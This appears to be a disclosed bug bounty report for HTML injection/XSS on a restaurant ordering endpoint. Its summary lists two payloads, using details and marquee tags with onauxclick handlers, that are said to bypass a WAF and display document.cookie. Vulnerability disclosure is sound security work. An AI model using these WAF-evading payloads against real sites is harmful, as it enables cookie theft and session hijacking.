HexBrain

Eternal · Report #738810

HTML Injection @ /[restaurant]/order endpoint.

Validstatus
lowseverity
$150bounty
15upvotes
7 Sept 2021disclosed

Summary

The following payloads were used to bypass the WAF and perform XSS:

Basic payload but did not work on all browsers:

"><details onauxclick=x=prompt,x`${document.cookie}`></details>

Payload worked on all browsers, but needed a right-click to be executed:

"><marquee+width=1000+onauxclick=confirm(document.cookie)>XSS</marquee>

How it was found

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